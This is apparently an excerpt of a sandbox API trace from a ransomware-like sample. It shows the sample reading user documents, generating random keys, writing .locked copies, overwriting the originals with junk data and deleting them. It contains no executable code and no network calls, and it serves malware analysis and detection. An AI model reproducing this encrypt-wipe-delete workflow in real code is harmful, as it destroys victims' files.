	[0073.086] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x148f8, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x148f8, lpOverlapped=0x0) returned 1
	[0073.087] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0073.088] CloseHandle (hObject=0xc4) returned 1
	[0073.089] CloseHandle (hObject=0xc0) returned 1
	[0073.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.090] SetEvent (hEvent=0x78) returned 1
	[0073.090] SetEvent (hEvent=0x80) returned 1
	[0073.090] SetEvent (hEvent=0x8c) returned 1
	[0073.090] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.090] SetEvent (hEvent=0x8c) returned 1
	[0073.090] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x6c, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x6c) returned 1
	[0073.092] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx")) returned 1
	[0073.110] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.111] SetEvent (hEvent=0xa8) returned 1
	[0073.111] SetEvent (hEvent=0x80) returned 1
	[0073.115] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.116] SetEvent (hEvent=0x80) returned 1
	[0073.116] SetEvent (hEvent=0x8c) returned 1
	[0073.116] SetEvent (hEvent=0x78) returned 1
	[0073.116] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.116] SetEvent (hEvent=0x78) returned 1
	[0073.118] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.118] SetEvent (hEvent=0x78) returned 1
	[0073.118] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.118] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.119] SetEvent (hEvent=0x78) returned 1
	[0073.119] SetEvent (hEvent=0x8c) returned 1
	[0073.119] SetEvent (hEvent=0x80) returned 1
	[0073.119] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.119] SetEvent (hEvent=0x80) returned 1
	[0073.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.120] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0073.120] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.136] CloseHandle (hObject=0xc0) returned 1
	[0073.145] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\HgLIrd6VHrvR8L57n3u.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\hglird6vhrvr8l57n3u.pptx")) returned 1
	[0073.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa48d7040, ftCreationTime.dwHighDateTime=0x1d4c83d, ftLastAccessTime.dwLowDateTime=0x2f8a5030, ftLastAccessTime.dwHighDateTime=0x1d4cafc, ftLastWriteTime.dwLowDateTime=0x2f8a5030, ftLastWriteTime.dwHighDateTime=0x1d4cafc, nFileSizeHigh=0x0, nFileSizeLow=0x12ee2)) returned 1
	[0073.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.154] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.155] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.155] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0073.155] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0073.155] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.155] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0073.157] SetEvent (hEvent=0x8c) returned 1
	[0073.157] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x12ee2, lpOverlapped=0x0) returned 1
	[0073.160] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x12ee2, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x12ee2, lpOverlapped=0x0) returned 1
	[0073.161] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0073.161] CloseHandle (hObject=0xc4) returned 1
	[0073.162] CloseHandle (hObject=0xc0) returned 1
	[0073.162] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.163] SetEvent (hEvent=0x8c) returned 1
	[0073.163] SetEvent (hEvent=0x80) returned 1
	[0073.163] SetEvent (hEvent=0x78) returned 1
	[0073.163] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.163] SetEvent (hEvent=0x78) returned 1
	[0073.163] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x61, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x61) returned 1
	[0073.165] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx")) returned 1
	[0073.183] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.184] SetEvent (hEvent=0xa8) returned 1
	[0073.184] SetEvent (hEvent=0x80) returned 1
	[0073.188] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.188] SetEvent (hEvent=0x80) returned 1
	[0073.189] SetEvent (hEvent=0x78) returned 1
	[0073.189] SetEvent (hEvent=0x8c) returned 1
	[0073.189] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.189] SetEvent (hEvent=0x8c) returned 1
	[0073.191] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.191] SetEvent (hEvent=0x8c) returned 1
	[0073.191] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.191] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.191] SetEvent (hEvent=0x8c) returned 1
	[0073.191] SetEvent (hEvent=0x78) returned 1
	[0073.192] SetEvent (hEvent=0x80) returned 1
	[0073.192] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.192] SetEvent (hEvent=0x80) returned 1
	[0073.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.193] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0073.193] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.209] CloseHandle (hObject=0xc0) returned 1
	[0073.217] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\rBRyx6fXv755VE2eb\\XdnIlhat.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\rbryx6fxv755ve2eb\\xdnilhat.pptx")) returned 1
	[0073.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a91440, ftCreationTime.dwHighDateTime=0x1d4ccba, ftLastAccessTime.dwLowDateTime=0x14977b30, ftLastAccessTime.dwHighDateTime=0x1d4c706, ftLastWriteTime.dwLowDateTime=0x14977b30, ftLastWriteTime.dwHighDateTime=0x1d4c706, nFileSizeHigh=0x0, nFileSizeLow=0x141b2)) returned 1
	[0073.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.226] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.227] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.227] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0073.227] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0073.227] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.227] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0073.229] SetEvent (hEvent=0x78) returned 1
	[0073.229] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x141b2, lpOverlapped=0x0) returned 1
	[0073.232] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x141b2, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x141b2, lpOverlapped=0x0) returned 1
	[0073.234] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0073.234] CloseHandle (hObject=0xc4) returned 1
	[0073.235] CloseHandle (hObject=0xc0) returned 1
	[0073.235] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ec000*, nNumberOfCharsToWrite=0x59, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123ec000*, lpNumberOfCharsWritten=0x127ee83c*=0x59) returned 1
	[0073.237] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.252] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv")) returned 1
	[0073.257] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.257] SetEvent (hEvent=0xa8) returned 1
	[0073.257] SetEvent (hEvent=0x78) returned 1
	[0073.259] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.259] SetEvent (hEvent=0x78) returned 1
	[0073.259] SetEvent (hEvent=0xb4) returned 1
	[0073.259] SetEvent (hEvent=0x8c) returned 1
	[0073.259] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.259] SetEvent (hEvent=0x8c) returned 1
	[0073.276] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0073.276] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.276] SetEvent (hEvent=0xa8) returned 1
	[0073.276] SetEvent (hEvent=0x8c) returned 1
	[0073.278] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.278] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.278] SetEvent (hEvent=0x8c) returned 1
	[0073.278] SetEvent (hEvent=0xb4) returned 1
	[0073.278] SetEvent (hEvent=0x78) returned 1
	[0073.278] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.279] SetEvent (hEvent=0x78) returned 1
	[0073.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.280] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0073.280] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.310] CloseHandle (hObject=0xc0) returned 1
	[0073.318] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\znj4GRNLu Ef_g3D4bC.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\znj4grnlu ef_g3d4bc.csv")) returned 1
	[0073.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ac7f0, ftCreationTime.dwHighDateTime=0x1d5288d, ftLastAccessTime.dwLowDateTime=0x1c74f90, ftLastAccessTime.dwHighDateTime=0x1d4ba7b, ftLastWriteTime.dwLowDateTime=0x1c74f90, ftLastWriteTime.dwHighDateTime=0x1d4ba7b, nFileSizeHigh=0x0, nFileSizeLow=0x11dd5)) returned 1
	[0073.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.327] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.328] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0073.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961f0 | out: pbBuffer=0x127961f0) returned 1
	[0073.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.329] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0073.331] SetEvent (hEvent=0xb4) returned 1
	[0073.332] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x11dd5, lpOverlapped=0x0) returned 1
	[0073.334] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x11dd5, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eebe8*=0x11dd5, lpOverlapped=0x0) returned 1
	[0073.335] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0073.335] CloseHandle (hObject=0xc4) returned 1
	[0073.336] CloseHandle (hObject=0xc0) returned 1
	[0073.336] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.337] SetEvent (hEvent=0xb4) returned 1
	[0073.337] SetEvent (hEvent=0x78) returned 1
	[0073.337] SetEvent (hEvent=0x8c) returned 1
	[0073.337] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.337] SetEvent (hEvent=0xa8) returned 1
	[0073.337] SetEvent (hEvent=0x8c) returned 1
	[0073.337] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x46) returned 1
	[0073.340] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx")) returned 1
	[0073.358] SetEvent (hEvent=0x78) returned 1
	[0073.363] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.363] SetEvent (hEvent=0x78) returned 1
	[0073.363] SetEvent (hEvent=0x8c) returned 1
	[0073.363] SetEvent (hEvent=0xb4) returned 1
	[0073.363] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.363] SetEvent (hEvent=0xb4) returned 1
	[0073.365] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.365] SetEvent (hEvent=0xb4) returned 1
	[0073.365] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.366] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.366] SetEvent (hEvent=0xb4) returned 1
	[0073.366] SetEvent (hEvent=0x8c) returned 1
	[0073.366] SetEvent (hEvent=0x78) returned 1
	[0073.366] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.366] SetEvent (hEvent=0x78) returned 1
	[0073.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.367] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0073.368] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.383] CloseHandle (hObject=0xc0) returned 1
	[0073.391] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BQDECG7yW3K49TIHOfCx.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bqdecg7yw3k49tihofcx.pptx")) returned 1
	[0073.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423c0ac0, ftCreationTime.dwHighDateTime=0x1d4c525, ftLastAccessTime.dwLowDateTime=0xb03a6a50, ftLastAccessTime.dwHighDateTime=0x1d4b39e, ftLastWriteTime.dwLowDateTime=0xb03a6a50, ftLastWriteTime.dwHighDateTime=0x1d4b39e, nFileSizeHigh=0x0, nFileSizeLow=0x1165e)) returned 1
	[0073.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.401] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.401] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.402] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0073.402] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0073.402] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
